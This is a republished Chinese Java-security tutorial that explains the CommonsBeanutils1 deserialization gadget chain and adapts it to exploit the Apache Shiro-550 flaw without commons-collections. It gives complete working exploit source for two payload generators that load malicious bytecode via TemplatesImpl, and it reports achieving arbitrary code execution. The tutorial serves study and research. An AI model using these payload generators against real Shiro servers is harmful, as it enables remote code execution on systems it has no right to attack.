CommonsBeanutils与无commons-collections的Shiro反序列化利用

我们认识了`java.util.PriorityQueue`,它在Java中是一个优先队列,队列中每一个元素有自己的优先级。在反序列化这个对象时,为了保证队列顺序,会进行重排序的操作,而排序就涉及到大小比较,进而执行`java.util.Comparator`接口的`compare()`方法。

CommonsBeanutils与无commons-collections的Shiro反序列化利用

这是代码审计知识星球中Java安全漫谈的第十七篇文章。完整文章列表与相关代码请参考:https://github.com/phith0n/JavaThings

上一篇文章里,我们认识了java.util.PriorityQueue,它在Java中是一个优先队列,队列中每一个元素有自己的优先级。在反序列化这个对象时,为了保证队列顺序,会进行重排序的操作,而排序就涉及到大小比较,进而执行java.util.Comparator接口的compare()方法。

那么,我们是否还能找到其他可以利用的java.util.Comparator对象呢?

了解Apache Commons Beanutils

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。

关于JavaBean的说明可以参考这篇文章。比如,Cat是一个最简单的JavaBean类:

  1. final public class Cat {
  2. private String name = "catalina";
  3. public String getName() {
  4. return name;
  5. }
  6. public void setName(String name) {
  7. this.name = name;
  8. }
  9. }

它包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。其中,getter的方法名以get开头,setter的方法名以set开头,全名符合骆驼式命名法(Camel-Case)。

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty,让使用者可以直接调用任意JavaBean的getter方法,比如:

  1. PropertyUtils.getProperty(new Cat(), "name");

此时,commons-beanutils会自动找到name属性的getter方法,也就是getName,然后调用,获得返回值。除此之外,PropertyUtils.getProperty还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过PropertyUtils.getProperty(a, "b.c");的方式进行递归获取。通过这个方法,使用者可以很方便地调用任意对象的getter,适用于在不确定JavaBean是哪个类对象时使用。

当然,commons-beanutils中诸如此类的辅助方法还有很多,如调用setter、拷贝属性等,本文不再细说。

getter的妙用

回到本文主题,我们需要找可以利用的java.util.Comparator对象,在commons-beanutils包中就存在一个:org.apache.commons.beanutils.BeanComparator

BeanComparator是commons-beanutils提供的用来比较两个JavaBean是否相等的类,其实现了java.util.Comparator接口。我们看它的compare方法:

  1. public int compare( final T o1, final T o2 ) {
  2. if ( property == null ) {
  3. // compare the actual objects
  4. return internalCompare( o1, o2 );
  5. }
  6. try {
  7. final Object value1 = PropertyUtils.getProperty( o1, property );
  8. final Object value2 = PropertyUtils.getProperty( o2, property );
  9. return internalCompare( value1, value2 );
  10. }
  11. catch ( final IllegalAccessException iae ) {
  12. throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
  13. }
  14. catch ( final InvocationTargetException ite ) {
  15. throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
  16. }
  17. catch ( final NoSuchMethodException nsme ) {
  18. throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
  19. }
  20. }

这个方法传入两个对象,如果this.property为空,则直接比较这两个对象;如果this.property不为空,则用PropertyUtils.getProperty分别取这两个对象的this.property属性,比较属性的值。

上一节我们说了,PropertyUtils.getProperty这个方法会自动去调用一个JavaBean的getter方法,这个点是任意代码执行的关键。有没有什么getter方法可以执行恶意代码呢?

此时回到《Java安全漫谈》第13章,其中在追踪分析TemplatesImpl时,有过这么一段描述:

我们从TransletClassLoader#defineClass()向前追溯一下调用链:

  1. TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

追到最前面两个方法TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer(),这两者的作用域是public,可以被外部调用。我们尝试用newTransformer()构造一个简单的POC…

看到这个TemplatesImpl#getOutputProperties()了吗?这个getOutputProperties()方法是调用链上的一环,它的内部调用了TemplatesImpl#newTransformer(),也就是我们后面常用来执行恶意字节码的方法:

  1. public synchronized Properties getOutputProperties() {
  2. try {
  3. return newTransformer().getOutputProperties();
  4. }
  5. catch (TransformerConfigurationException e) {
  6. return null;
  7. }
  8. }

getOutputProperties这个名字,是以get开头,正符合getter的定义。

所以,PropertyUtils.getProperty( o1, property )这段代码,当o1是一个TemplatesImpl对象,而property的值为outputProperties时,将会自动调用getter,也就是TemplatesImpl#getOutputProperties()方法,触发代码执行。

反序列化利用链构造

了解了原理,我们来构造利用链。

首先还是创建TemplateImpl:

  1. TemplatesImpl obj = new TemplatesImpl();
  2. setFieldValue(obj, "_bytecodes", new byte[][]{
  3. ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
  4. });
  5. setFieldValue(obj, "_name", "HelloTemplatesImpl");
  6. setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后,我们实例化本篇讲的BeanComparatorBeanComparator构造函数为空时,默认的property就是空:

  1. final BeanComparator comparator = new BeanComparator();

然后用这个comparator实例化优先队列PriorityQueue

  1. final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
  2. // stub data for replacement later
  3. queue.add(1);
  4. queue.add(1);

可见,我们添加了两个无害的可以比较的对象进队列中。前文说过,BeanComparator#compare()中,如果this.property为空,则直接比较这两个对象。这里实际上就是对两个1进行排序。

初始化时使用正经对象,且property为空,这一系列操作是为了初始化的时候不要出错。然后,我们再用反射将property的值设置成恶意的outputProperties,将队列里的两个1替换成恶意的TemplateImpl对象:

  1. setFieldValue(comparator, "property", "outputProperties");
  2. setFieldValue(queue, "queue", new Object[]{obj, obj});

最后完成整个CommonsBeanutils1利用链:

  1. package com.govuln.deserialization;
  2. import java.io.ByteArrayInputStream;
  3. import java.io.ByteArrayOutputStream;
  4. import java.io.ObjectInputStream;
  5. import java.io.ObjectOutputStream;
  6. import java.lang.reflect.Field;
  7. import java.util.PriorityQueue;
  8. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  9. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  10. import javassist.ClassPool;
  11. import org.apache.commons.beanutils.BeanComparator;
  12. public class CommonsBeanutils1 {
  13. public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  14. Field field = obj.getClass().getDeclaredField(fieldName);
  15. field.setAccessible(true);
  16. field.set(obj, value);
  17. }
  18. public static void main(String[] args) throws Exception {
  19. TemplatesImpl obj = new TemplatesImpl();
  20. setFieldValue(obj, "_bytecodes", new byte[][]{
  21. ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
  22. });
  23. setFieldValue(obj, "_name", "HelloTemplatesImpl");
  24. setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  25. final BeanComparator comparator = new BeanComparator();
  26. final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
  27. // stub data for replacement later
  28. queue.add(1);
  29. queue.add(1);
  30. setFieldValue(comparator, "property", "outputProperties");
  31. setFieldValue(queue, "queue", new Object[]{obj, obj});
  32. ByteArrayOutputStream barr = new ByteArrayOutputStream();
  33. ObjectOutputStream oos = new ObjectOutputStream(barr);
  34. oos.writeObject(queue);
  35. oos.close();
  36. System.out.println(barr);
  37. ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
  38. Object o = (Object)ois.readObject();
  39. }
  40. }

成功弹出计算器:

[1)

相比于ysoserial里的CommonsBeanutils1利用链,本文的利用链去掉了对java.math.BigInteger的使用,因为ysoserial为了兼容property=lowestSetBit,但实际上我们将property设置为null即可。

Shiro-550利用的难点

还记得Shiro反序列化漏洞吗?我们用IDE打开之前我写的Shiro最简单的例子shirodemo。我曾说这个demo中我添加了几个依赖库:

  1. shiro-core、shiro-web,这是shiro本身的依赖
  2. javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这两个依赖
  3. slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
  4. commons-logging,这是shiro中用到的一个接口,不添加会爆java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory错误
  5. commons-collections,为了演示反序列化漏洞,增加了commons-collections依赖

前4个依赖都和项目本身有关,少了他们这个demo会出错或功能缺失。但是第5个依赖,commons-collections主要是为了演示漏洞。那么,实际场景下,目标可能并没有安装commons-collections,这个时候shiro反序列化漏洞是否仍然可以利用呢?

我们将pom.xml中关于commons-collections的部分删除,重新加载Maven,此时观察IDEA中的依赖库:

[image-20210403041200333.png]
commons-beanutils赫然在列。

也就是说,Shiro是依赖于commons-beanutils的。那么,是否可以用到本文讲的CommonsBeanutils1利用链呢?

尝试生成一个Payload发送,并没有成功,此时在Tomcat的控制台可以看到报错信息:

[image-20210403043132139.png]

org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

这个错误是什么意思?

serialVersionUID是什么?

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的serialVersionUID值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID不同,则反序列化就会异常退出,避免后续的未知隐患。

当然,开发者也可以手工给类赋予一个serialVersionUID值,此时就能手工控制兼容性了。

所以,出现错误的原因就是,本地使用的commons-beanutils是1.9.2版本,而Shiro中自带的commons-beanutils是1.8.3版本,出现了serialVersionUID对应不上的问题。

解决方法也比较简单,将本地的commons-beanutils也换成1.8.3版本。

更换版本后,再次生成Payload进行测试,此时Tomcat端爆出了另一个异常,仍然没有触发代码执行:

[image-20210403044253628.png]

Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]

简单来说就是没找到org.apache.commons.collections.comparators.ComparableComparator类,从包名即可看出,这个类是来自于commons-collections。

commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。

难道没有commons-collections就无法进行反序列化利用吗?当然有。

无依赖的Shiro反序列化利用链

我们先来看看org.apache.commons.collections.comparators.ComparableComparator这个类在哪里使用了:

[image-20210403051619894.png]

BeanComparator类的构造函数处,当没有显式传入Comparator的情况下,则默认使用ComparableComparator

既然此时没有ComparableComparator,我们需要找到一个类来替换,它满足下面这几个条件:

  • 实现java.util.Comparator接口
  • 实现java.io.Serializable接口
  • Java、shiro或commons-beanutils自带,且兼容性强

通过IDEA的功能,我们找到一个CaseInsensitiveComparator

[image-20210403053120851.png]

相关代码如下:

  1. public static final Comparator<String> CASE_INSENSITIVE_ORDER
  2. = new CaseInsensitiveComparator();
  3. private static class CaseInsensitiveComparator
  4. implements Comparator<String>, java.io.Serializable {
  5. // use serialVersionUID from JDK 1.2.2 for interoperability
  6. private static final long serialVersionUID = 8575799808933029326L;
  7. public int compare(String s1, String s2) {
  8. int n1 = s1.length();
  9. int n2 = s2.length();
  10. int min = Math.min(n1, n2);
  11. for (int i = 0; i < min; i++) {
  12. char c1 = s1.charAt(i);
  13. char c2 = s2.charAt(i);
  14. if (c1 != c2) {
  15. c1 = Character.toUpperCase(c1);
  16. c2 = Character.toUpperCase(c2);
  17. if (c1 != c2) {
  18. c1 = Character.toLowerCase(c1);
  19. c2 = Character.toLowerCase(c2);
  20. if (c1 != c2) {
  21. // No overflow because of numeric promotion
  22. return c1 - c2;
  23. }
  24. }
  25. }
  26. }
  27. return n1 - n2;
  28. }
  29. /** Replaces the de-serialized object. */
  30. private Object readResolve() { return CASE_INSENSITIVE_ORDER; }
  31. }

这个CaseInsensitiveComparator类是java.lang.String类下的一个内部私有类,其实现了ComparatorSerializable,且位于Java的核心代码中,兼容性强,是一个完美替代品。

我们通过String.CASE_INSENSITIVE_ORDER即可拿到上下文中的CaseInsensitiveComparator对象,用它来实例化BeanComparator

  1. final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

最后,构造出新的CommonsBeanutils1Shiro利用链:

  1. package com.govuln.shiroattack;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  4. import org.apache.commons.beanutils.BeanComparator;
  5. import java.io.ByteArrayOutputStream;
  6. import java.io.ObjectOutputStream;
  7. import java.lang.reflect.Field;
  8. import java.util.PriorityQueue;
  9. public class CommonsBeanutils1Shiro {
  10. public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  11. Field field = obj.getClass().getDeclaredField(fieldName);
  12. field.setAccessible(true);
  13. field.set(obj, value);
  14. }
  15. public byte[] getPayload(byte[] clazzBytes) throws Exception {
  16. TemplatesImpl obj = new TemplatesImpl();
  17. setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
  18. setFieldValue(obj, "_name", "HelloTemplatesImpl");
  19. setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  20. final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
  21. final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
  22. // stub data for replacement later
  23. queue.add("1");
  24. queue.add("1");
  25. setFieldValue(comparator, "property", "outputProperties");
  26. setFieldValue(queue, "queue", new Object[]{obj, obj});
  27. // ==================
  28. // 生成序列化字符串
  29. ByteArrayOutputStream barr = new ByteArrayOutputStream();
  30. ObjectOutputStream oos = new ObjectOutputStream(barr);
  31. oos.writeObject(queue);
  32. oos.close();
  33. return barr.toByteArray();
  34. }
  35. }

发送这个利用链生成的Payload,成功执行任意代码:

[image-20210403054306786.png]

总结

本文信息量有点大,本文第一个重点是了解了Apache Commons Beanutils这个库的作用,然后学习了CommonsBeanutils1利用链的原理和简化版。

本文第二个重点是,在没有commons-collections依赖的情况下,shiro反序列化漏洞如何借助其自带的commons-beanutils触发反序列化命令执行漏洞。

最后不得不说,『代码审计』知识星球卧虎藏龙,shiro无依赖利用灵感来源于某篇帖子的一个回复:

[image-20210403054817303.png]

虽然本文没有用到回帖里的java.util.Collections$ReverseComparator,但其实原理是相同的,十分感谢。

文章首发于p神博客,授权转载,原文链接为:https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html#shiro-550

  • 发表于 2021-04-22 11:02:46
  • 阅读 ( 7587 )
  • 分类:漏洞分析

0 条评论

带头大哥
带头大哥

50 篇文章

站长统计